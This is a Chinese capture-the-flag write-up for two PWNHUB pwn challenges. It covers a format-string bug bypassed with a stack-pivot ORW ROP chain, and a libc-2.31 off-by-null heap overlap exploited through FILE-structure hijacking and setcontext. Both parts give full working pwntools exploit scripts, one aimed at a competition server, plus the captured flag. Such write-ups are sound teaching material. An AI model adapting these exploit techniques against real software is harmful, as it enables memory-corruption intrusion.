PWNHUB双蛋赛pwn题解

阅读量    110900 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

pwnhub的2道pwn题目,一道格式化字符串的题目,一道libc-2.31的堆题目。题目的逆向量都不大,程序分析起来比较容易,更关注的是利用的手法。下面直接进入正题。

公开赛题目

0x00 程序分析&&漏洞分析

一打开就看到了挺烦人的prctl的函数,进行了沙箱设置,使用seccomp工具进行分析

//seccomp-tools dump ./easypwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

可以看到禁用了execve函数,需要使用orw来读取flag
程序漏洞点很明确,格式化字符串的漏洞,关键代码如下:

read(0, &buf, 0x18uLL);//读取0x18的字符串到stack的buf上
strcpy((char *)&unk_202060 + 0x24 * (signed int)a1, (const char *)&buf);//复制到bss段上
printf((const char *)&unk_202060 + 0x24 * (signed int)a1, &buf);//格式化字符串漏洞

可以发现,虽然看起来是bss段上的格式化字符串漏洞,但是,首先在stack上写入了数据,所以说,就和正常的stack上的格式化字符串一样,可以任意读写,需要注意的是size=0x18,这个是比较受限的。

有了任意读写,我们可以获取到libc、pie、satck的值,但是由于沙箱规则的限制,需要写入大量的值,需要反复触发格式化字符串的漏洞,但是,如下所示,程序只给了我们2次触发机会。

signed int i;
for ( i = 0; i <= 1; ++i )                    
    vuln(i);

然后关键的问题就落到如何构造循环上来了。
这里的思路如下:

//stack上的返回地址
.text:0000000000000D4D                 add     [rbp+var_8], 1
//修改为
.text:0000000000000D3A                 mov     [rbp+var_8], 0

这样的话,每第二次循环我们作如上的修改,就可以做到循环,每两次获得一次任意读写的机会。

0x01 exploit

经过上述的分析,利用思路已经相对清晰了,基本的利用步骤如下:

  1. 第一次触发格式化字符串漏洞来泄漏stack、pie&&libc的相关信息
  2. 第二次修改返回地址0x4d为0x3a,将i的值再次置0
    .text:0000000000000D4D                 add     [rbp+var_8], 1
    //stack上的返回地址修改为
    .text:0000000000000D3A                 mov     [rbp+var_8], 0
    

    依此类推,获得多次的任意写。

  3. 在bss上写入orw的rop。
  4. 最后进行栈迁移执行rop,得到flag。

具体的细节可以参考下面的exp脚本。

0x02 myexp

具体的exp脚本如下,写起来还是挺繁琐的。

from pwn import *
context.log_level = 'debug'


def debug():
    print pidof(p)
    pause()

def write(addr,val):
    value = str(val).rjust(6,'0')
    #offset = str(offset).rjust(4,'0')
    if val == 0:
        name = '%' + '0010' + '$hn'+'a'*8 + p64(addr)
    else:
        name = '%' + value + 'c' + '%' + '0010' + '$hn' + p64(addr)
    p.sendafter('name?',name)
    p.sendlineafter("how old are you??",str(100))

    #in order to the next loop
    name='%'+str(0x3a)+"c"+"%10$hhnaaaaa"+p64(stack-0x18)
    p.sendafter('name?',name)
    p.sendlineafter("how old are you??",str(100))

def write_addr(offset,val):
    write(pie+0x202500+offset,val&0xffff)
    write(pie+0x202500+offset+2,(val>>16)&0xffff)
    write(pie+0x202500+offset+4,(val>>32)&0xffff)

def write_stack_addr(offset,val):
    write(stack+offset,val&0xffff)
    write(stack+offset+2,(val>>16)&0xffff)
    write(stack+offset+4,(val>>32)&0xffff)

#p=process('./easypwn')
p=remote('139.217.102.146',33865)
debug()
#leak stak libc && pie
#test 0x7ffe4279d630 0x7fcf97582840 
p.sendafter('name?','%19$p%14$p%18$p')
p.recvuntil('0x')
libcbase=int(p.recv(12),16)-0x20840
log.success("libc -->"+hex(libcbase))

p.recvuntil('0x')
stack=int(p.recv(12),16)
log.success("stack -->"+hex(stack))

p.recvuntil('0x')
pie=int(p.recv(12),16)-0xd70
log.success("pie -->"+hex(pie))
p.sendlineafter("how old are you??",str(100))
debug()
## make loop \x00  -- is iok
name='%'+str(0x3a)+"c"+"%10$hhnaaaaa"+p64(stack-0x18)
p.sendafter('name?',name)
p.sendlineafter("how old are you??",str(100))

pop_rdi=0x0000000000021112+libcbase
pop_rsi=0x00000000000202f8+libcbase
pop_rdx=0x0000000000001b92+libcbase
open_addr = 0xf70f0 + libcbase
read_addr = 0xf7310 + libcbase
puts_addr = 0x6f6a0 + libcbase
leave_ret_addr = 0x0000000000042361 + libcbase
#log.success("pop_rdi is " + hex(pop_rdi))
#write(stack+8,pop_rdi&0xffff)
#write(stack+8+2,(pop_rdi>>16)&0xffff)
#write(stack+8+2+2,(pop_rdi>>32)&0xffff)
write_addr(8,pop_rdi)
write_addr(0x10,pie+0x202060)#./flag
write_addr(0x18,pop_rsi)
#write_addr(0x20,0)
write_addr(0x28,open_addr)

write_addr(0x30,pop_rdi)
write_addr(0x38,3)
write_addr(0x40,pop_rsi)
write_addr(0x48,pie+0x202060)
write_addr(0x50,pop_rdx)
write_addr(0x58,0x50)#once
write_addr(0x60,read_addr)

write_addr(0x68,pop_rdi)
write_addr(0x70,pie+0x202060)
write_addr(0x78,puts_addr)

write_stack_addr(0,pie+0x202500)
write_stack_addr(8,leave_ret_addr)

p.sendafter('name?','./flag\x00')
p.sendlineafter("how old are you??",str(100))

p.sendafter('name?','./flag\x00')
p.sendlineafter("how old are you??",str(100))

debug()
p.interactive()
//flag{48e13dc24d00405599522395a6160972}

最终拿到flag

 

内部赛题目

0x00 程序分析&&漏洞分析

同样的也设置了沙箱规则,禁用了execve,同样的需要orw来读取flag

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x00000029  if (A == socket) goto 0011
 0005: 0x15 0x05 0x00 0x0000002a  if (A == connect) goto 0011
 0006: 0x15 0x04 0x00 0x00000031  if (A == bind) goto 0011
 0007: 0x15 0x03 0x00 0x00000032  if (A == listen) goto 0011
 0008: 0x15 0x02 0x00 0x00000038  if (A == clone) goto 0011
 0009: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

经典的堆菜单题目,下面对程序的基本功能进行简单的分析:

  • add:添加一个堆块,要求size<=0x200,最大数量为20个,可以读入size大小的数据,add功能的限制相对比较宽松。
  • exit:执行exit函数退出
  • delete:这里又提供了2种选择,show和edit

这里以edit为例进行简单的分析,show和edit是完全一致的:

_free_hook = (__int64)edit;//首先是对__free_hook的值进行设置
//edit函数
void __fastcall edit(char *a1)
{
  int v1; // [rsp-Ch] [rbp-Ch]

  __asm { endbr64 }
  _free_hook = 0LL;
  v1 = *(a1 - 8) - 9;                           
  printf("Info:");
  if ( v1 > 1 )                                 // check
  {
    read(0, a1, v1 - 1);
    a1[v1] = 0;                                 // off by null
  }
  free(a1);
}

大致的逻辑就是设置__free_hook为edit或者show函数,先执行edit、show函数然后再free

ptr[v2] = 0LL;
size_[v2] = 0LL;

指针和size都做了清0的处理,不存在uaf的问题。
该题目的漏洞点在于上述的edit功能中。试想一下,有个大小为0x20的chunk,如果前一个堆块不是free状态,那么他的size=0x21,v1=0x21-9=0x18,写入大小0x18的数据,然后a1[0x18]=0,这里就出现了问题,off by null的漏洞。

0x01 exploit

现在整理一下思路,首先考虑泄漏地址的问题。通过数据信息的残留,可以比较轻易的获得libcbase和heap addr。那么,最关键的问题就是libc-2.31下的off by null的利用以及orw绕过沙箱机制。

off by null的利用

这里,已经有很多师傅对libc-2.31的增添的保护机制进行了深入的分析,主要是添加了presize和size的check,如果大小不一致的话,就会报错。这就使得之前版本的利用思路失效了。

这里,采用了如下的绕过思路:在chunk中伪造一个chunk,主要是伪造size、fd、bk的值,size写成presize,而fd=bk写成伪造的chunk的heap addr,如下图所示

pwndbg> x/20xg 0x55c1a0806140
0x55c1a0806140:    0x6161616161616161    0x0000000000000151
0x55c1a0806150:    0x0000000000000000    0x0000000000000371//fake chunk
0x55c1a0806160:    0x000055c1a0806150    0x000055c1a0806150
0x55c1a0806170:    0x6161616161616161    0x6161616161616161
0x55c1a0806180:    0x6161616161616161    0x6161616161616161

然后就可以正常写入presize并触发off by null的漏洞,然后free堆块,就构成chunk overlap。

orw沙箱绕过

目前我已知的libc-2.31的orw沙箱绕过思路有2种,有其他思路的师傅也欢迎交流。

一种是借助free_hook,写入一个ropgaget,将rdi转换成rdx,然后借助set_context函数来实现。就本题来说,无法利用free_hook,这里的free_hook是在bss段上的,而我们无法泄漏地址。

这里我们使用另一种利用方式,malloc_hook+io劫持来实现orw的执行。这里,推荐一篇其他师傅的分析文章,写的很详细:
link
主要的利用链是这样的:

exit函数触发-->_IO_cleanup()-->_IO_flush_all_lockp()-->_IO_str_overflow
//触发__malloc_hook
在_IO_str_overflow (FILE *fp, int c)种会调用 new_buf = malloc (new_size);
//rdi-->rdx,方便后面set_context的利用,这里的rdi就是stdin(fp)
0x7ffff7e62b65 <__GI__IO_str_overflow+53>:   mov    rdx,QWORD PTR [rdi+0x28]

这一部分的关键payload如下,需要绕过那些关键check都在下面做了相关注释:

payload = b'\x00'*0x28#把flag处的值设置为\x00,绕过代码中的很多check
#fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
payload += p64(stdin + 0xe0)#_IO_write_ptr && rdi+0x28-->rdx 
payload = payload.ljust(0xd8,b'\x00')
payload += p64(libcbase + 0x1ed560)#_IO_str_jumps 为了执行的是_IO_str_overflow
payload += orw
payload = payload.ljust(0x1f0,b'\x00')
payload += p64(libcbase+0x0000000000580DD)#malloc_hook-->set_context

0x02 myexp

具体的exp如下所示:

from pwn import *
context.log_level='debug'

def debug():
    print(pidof(p))
    pause()

def choice(i):
    p.sendlineafter('choice:',str(i))

def add(n,s):
    choice(1)
    p.sendlineafter('Size of info:',str(n))#n<=0x200
    p.sendafter('Info:',s)

def show(i):
    choice(2)
    p.sendlineafter('index:',str(i))
    choice(2)

def edit(i,s):
    choice(2)
    p.sendlineafter('index:',str(i))
    choice(1)
    p.sendafter('Info:',s)

#libc.so is correct
#p=remote('139.217.102.146',65386)
p=process('./pwn')
libc=ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
for i in range(0x8):
    add(0x1f0,b'a'*0x1f0)
add(0x60+0x1a0,b'a'*0x60)#index=8 size=0x70
add(0x10,b'a'*0x10)#index=9 size=0x20
add(0x1f0,b'a'*0x1f0)#index=10 size=0x210
add(0x1f0,b'a'*0x1e0 + b'./flag\x00')#index=11 size=0x210
add(0x200,b'a'*0x200)#index=12

#leak heap address
show(0)
show(1)
add(0x1f0,b'a')
show(0)
p.recvuntil('a')
heap=u64((b'\x00'+p.recv(5)).ljust(8,b'\x00'))-(0x0000563c8e9c1200-0x563c8e9c1000)
log.success('heap address-->'+ hex(heap))
#debug()

#leak libcbase
for i in range(2,0x8):
    show(i)
#add(0xe0,b'a'*8)
add(0xa0,b'a'*8)
show(0)
p.recvuntil(b'a'*8)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-(0x00007fd0cccfbdd0-0x7fd0ccb10000)
#off by null 
#only rest index=8,9,10,11
#0x100-->0x150 0x150+0xb0=0x200
add(0x140,p64(0)+p64(0x191+0x40+0x1a0)+p64(heap+(0x5609760e2190-0x5609760e1000-0x40))+p64(heap+(0x5609760e2190-0x5609760e1000-0x40)))#0
debug()
edit(9,b'a'*0x10+p64(0x190+0x40+0x1a0))
show(10)#get overlap

#orw 
stdin = libcbase + (0x7f277caba980-0x7f277c8cf000)
ret=0x0000000000025679+libcbase
pop_rdi=libcbase+0x0000000000026b72
pop_rsi=libcbase+0x0000000000027529
pop_rdx_rbx=libcbase+0x0000000000162866
flag = heap + 0x565150050530 + 0x1e0 - 0x56515004f000 + 0x1a0
orw = p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(libc.symbols['open']+libcbase)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(libc.symbols['read']+libcbase)
orw += p64(pop_rdi)+p64(flag)+p64(libc.symbols['puts']+libcbase)
if len(orw) > 0xa0:
    print("orw too long ")
    pause()
orw = orw.ljust(0xa0,b'\x00')
orw += p64(stdin + 0xe0) + p64(ret)

#stdin = libcbase + (0x7f277caba980-0x7f277c8cf000)
payload = b'\x00'*0x28
payload += p64(stdin + 0xe0)#_IO_write_ptr && rdi+0x28-->rdx
payload = payload.ljust(0xd8,b'\x00')
payload += p64(libcbase + 0x1ed560)#_IO_str_jumps
payload += orw
payload = payload.ljust(0x1f0,b'\x00')
payload += p64(libcbase+0x0000000000580DD)#malloc_hook-->set_context

show(12)
show(8)
add(0x130,b'a')
add(0x50,p64(stdin))#fd-->stdin
add(0x200,b'a')
add(0x200,payload)
debug()
p.interactive()

然后拿到flag

最后,如果文中有什么错误请各位师傅指出;如果有更好的思路欢迎交流分享。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多